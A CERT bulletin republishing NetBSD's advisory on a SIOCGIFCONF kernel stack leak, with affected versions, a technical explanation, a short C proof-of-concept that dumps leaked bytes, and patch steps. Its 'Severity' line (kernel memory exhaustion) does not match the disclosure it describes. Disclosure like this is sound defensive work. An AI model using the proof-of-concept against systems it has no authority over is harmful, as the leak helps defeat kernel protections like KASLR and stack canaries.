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-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2019.1563 Unprivileged user kernel stack disclosure in SIOCGIFCONF 6 May 2019 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: NetBSD kernel Publisher: NetBSD Operating System: NetBSD Impact/Access: Access Privileged Data -- Existing Account Resolution: Patch/Upgrade Original Bulletin: https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc - --------------------------BEGIN INCLUDED TEXT-------------------- - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NetBSD Security Advisory 2019-003 ================================= Topic: Unprivileged user kernel stack disclosure in SIOCGIFCONF Version: NetBSD-current: affected prior to April 15, 2019 NetBSD 8.0: affected NetBSD 7.2: affected NetBSD 7.1.2: affected NetBSD 7.0.2: affected Severity: Local user may cause the kernel to run out of memory Fixed: NetBSD-current: April 15, 2019 NetBSD-8 branch: April 19, 2019 NetBSD-7 branch: April 19, 2019 NetBSD-7-2 branch: April 19, 2019 NetBSD-7-1 branch: April 19, 2019 NetBSD-7-0 branch: April 19, 2019 Please note that NetBSD releases prior to 7.1 are no longer supported. It is recommended that all users upgrade to a supported release. Abstract ======== An unprivileged user can leak a huge amount of kernel stack by issuing the 'SIOCGIFCONF' ioctl command. Technical Details ================= Kernel stack can be leaked to an unprivileged user at [1], because 'ifr' is uninitialized and only 'sa->sa_len' are copied to 'ifr.ifr_space'. The size of 'struct ifreq ifr' is 0x90 bytes and 'sa->sa_len' is usually 0x11 bytes. Hence, upto 0x7f bytes can be leaked. This can expose sensitive information, pointers to bypass KASLR, stack canaries which can be used to exploit stack buffer overflows, etc. Proof-Of-Concept: #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> /* Sample output: 77 6D 30 00 00 00 00 00 00 00 00 00 00 00 00 00 11 12 01 00 06 03 06 00 77 6D 30 08 00 27 56 80 E1 EF CB 08 81 FE FF FF 00 10 00 00 00 00 00 00 20 AE 1C 68 00 80 FF FF 00 00 00 00 00 00 00 00 20 CC 92 1E 01 00 00 00 80 F7 4C 1B 81 FE FF FF 40 AE 1C 68 03 00 00 00 80 F4 4C 1B 81 FE FF FF 80 F4 4C 1B 81 FE FF FF 80 F7 4C 1B 81 FE FF FF 80 F4 4C 1B 81 FE FF FF 10 57 3E 1B 81 FE FF FF 00 52 C4 1E 81 FE FF FF 00 00 00 00 00 00 00 00 */ void hexDump(const void *data, size_t size) { size_t i; for (i = 0; i < size; i++) { printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n'); } printf("\n"); } int main(int argc, char *argv[]) { struct ifconf conf; struct ifreq req[1]; int fd; memset(req, 0, sizeof(req)); fd = socket(AF_INET, SOCK_DGRAM, 0); conf.ifc_len = sizeof(req); conf.ifc_buf = req; ioctl(fd, SIOCGIFCONF, &conf); hexDump(req, sizeof(req)); return 0; } [1] https://github.com/NetBSD/src/blob/trunk/sys/net/if.c#L3378 Solutions and Workarounds ========================= Update the kernel to a fixed version and reboot. To apply a fixed version from a releng build, fetch a fitting kern-GENERIC.tgz from nyftp.netbsd.org and extract the fixed binaries: cd /var/tmp ftp https://nycdn.NetBSD.org/pub/NetBSD-daily/REL/latest/ARCH/binary/sets/kern-GENERIC.tgz cd / tar xzpf /var/tmp/kern-GENERIC.tgz with the following replacements: REL = the release version you are using ARCH = your system's architecture The following instructions describe how to upgrade your kernel by updating your source tree and rebuilding and installing a new version. For all NetBSD versions, you need to obtain fixed kernel sources, rebuild and install the new kernel, and reboot the system. The fixed source may be obtained from the NetBSD CVS repository. The following instructions briefly summarise how to upgrade your kernel. In these instructions, replace: ARCH with your architecture (from uname -m), and KERNCONF with the name of your kernel configuration file. To update from CVS, re-build, and re-install the kernel: # cd src # cvs update -d -P sys/path/to/file.c # ./build.sh kernel=KERNCONF # mv /netbsd /netbsd.old # cp sys/arch/ARCH/compile/obj/KERNCONF/netbsd /netbsd # shutdown -r now For more information on how to do this, see: http://www.NetBSD.org/docs/guide/en/chap-kernel.html Thanks To ========= Andy Nguyen for discovering and reporting the issue. More Information ================ Advisories may be updated as new information becomes available. The most recent version of this advisory (PGP signed) can be found at http://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.org/ and http://www.NetBSD.org/Security/ . Copyright 2019, The NetBSD Foundation, Inc. All Rights Reserved. Redistribution permitted only in full, unmodified form. $NetBSD: NetBSD-SA2019-003.txt.asc,v 1.1 2019/05/03 01:33:37 christos Exp $ - -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJcy5piAAoJEAZJc6xMSnBuBiYP/0W66ewcPSChlhngqzwsXqHq B+BwbW6I/jOGE7BN5A9+MyZgzyWZRuVr/lPrTcB2Rl+AsFfWcUgAWHtXZiS6sF4w ELAVUr4FKFXHh6/KcGPGoOZMOh4o18ZUKrCCWtuN2INvnEHqXbSGulY3OADg8Ese q6fQGyhuhNwHxLS3MH4xPyN35YzrBFhYftU/gN7nBwVdxMZkmUSk0OnPIZx7BLVp aay9W+aiL1t+RS7Sx8Nhu2+oVNll0Z88QGpH0U5fbWvYzhbxUQP+U5IaVXBQ61o/ VFjLAxNh2xX8AT44QguYFbH+kaTeiYmit7cnObLpZPvARIEzBXYH5wo0gqZmcpwp zaWK19DDcANB/AqdrAg5mMd8OFDe+RpLN28VezJT4Smatnzrv0cZGCFntCsZx6d6 ykyyF1lrf/EH0mZykB/br/rdM9qxAqWZBkUYvKI21BSUhwIo4WYOYnah9uFyehqP I/adV0hL5W9xfbu5WcR8x9BY9F+LA3mcVz+ShuFdlLZYcaj6yY4sOT/PyrJdKoDl DRHT8CbS72OQRfOsMZ8xNCP5Mj30QwQZEch9WtRjcoVIyGpFx865KPAJXbgo6i8t A23cpAWsubNgDkSuvQLfHsDtXpxlQfIkh/vAh+HY+W5Nj79LVII2C7jt4vTijcaY ZJgmUblRPR/OrYUhegSV =FhoG - -----END PGP SIGNATURE----- - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. 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It may not be updated when updates to the original are made. If downloading at a later date, it is recommended that the bulletin is retrieved directly from the author's website to ensure that the information is still current. Contact information for the authors of the original document is included in the Security Bulletin above. If you have any questions or need further information, please contact them directly. Previous advisories and external security bulletins can be retrieved from: https://www.auscert.org.au/bulletins/ =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). 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